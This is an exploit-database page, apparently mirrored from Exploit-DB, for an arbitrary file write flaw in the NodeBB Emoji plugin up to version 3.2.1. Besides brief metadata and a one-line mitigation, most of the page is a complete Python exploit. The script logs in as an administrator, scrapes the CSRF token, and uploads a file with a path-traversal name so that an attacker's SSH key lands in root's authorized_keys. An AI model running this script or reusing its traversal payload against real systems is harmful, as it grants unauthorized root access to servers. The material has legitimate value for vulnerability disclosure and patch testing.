header-logo
Suggest Exploit
vendor:
NodeBB Plugin Emoji
by:
1F98D
7.5
CVSS
HIGH
Arbitrary File Write
264
CWE
Product Name: NodeBB Plugin Emoji
Affected Version From: Emoji for NodeBB <= v3.2.1
Affected Version To: Emoji for NodeBB <= v3.2.1
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu 18.04 (x86)
2021

NodeBB Plugin Emoji 3.2.1 – Arbitrary File Write

The Emoji for NodeBB which is installed by default contains an arbitrary file write vulnerability to insecurely handled user controlled input. This exploit requires administrative access to the NodeBB instance in order to access the emoji upload API.

Mitigation:

Ensure that user input is securely handled and that administrative access is restricted to trusted users.
Source

Exploit-DB raw data:

# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write
# Date: 2021-02-01
# Exploit Author: 1F98D
# Software Link: https://nodebb.org/
# Version: Emoji for NodeBB <= v3.2.1
# Tested on: Ubuntu 18.04 (x86)
# Software Link: https://github.com/NodeBB/nodebb-plugin-emoji
#
# The Emoji for NodeBB which is installed by default contains an
# arbitrary file write vulnerability to insecurely handled user controlled
# input.
#
# This exploit requires administrative access to the NodeBB instance in order
# to access the emoji upload API.
# 
#!/usr/bin/python3
import requests
import sys
import re
TARGET = 'http://192.168.1.1:4567'
USERNAME = 'admin'
PASSWORD = 'password'
DESTINATION_FILE = '/root/.ssh/authorized_keys'
SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub'
headers = { 'User-Agent': 'NotPython' }
s = requests.Session()
r = s.get('{}/login'.format(TARGET), headers=headers)
if r.status_code != 200:
    print('[!] Error, {}/login unavailable'.format(TARGET))
    sys.exit(1)
csrf = re.search('name="_csrf" value="(.+)?" />', r.text, re.IGNORECASE)
if csrf is None:
    print('[!] Could not extract csrf token to proceed.')
    sys.exit(1)
auth = {
    'username': USERNAME,
    'password': PASSWORD,
    '_csrf': csrf.group(1)
}
r = s.post('{}/login'.format(TARGET), headers=headers, data=auth)
if r.status_code != 200:
    print('[!] Error, login failed')
    print('[!] Status: {}'.format(r.status_code))
    print('[!] Response: {}'.format(r.text))
    sys.exit(1)
print('[+] Login successful')
r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers)
if r.status_code != 200:
    print('[!] Error, could not access emoji plugin')
    print('[!] Status: {}'.format(r.status_code))
    print('[!] Response: {}'.format(r.text))
    sys.exit(1)
print('[+] Emoji plugin is installed')
files = {
    'emojiImage': open(SOURCE_FILE)
}
data = {
    'fileName': '../../../../../../..{}'.format(DESTINATION_FILE)
}
r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files)
if r.status_code != 200:
    print('[!] Error, could not upload file')
    print('[!] Status: {}'.format(r.status_code))
    print('[!] Response: {}'.format(r.text))
    sys.exit(1)
print('[+] Successfully uploaded file')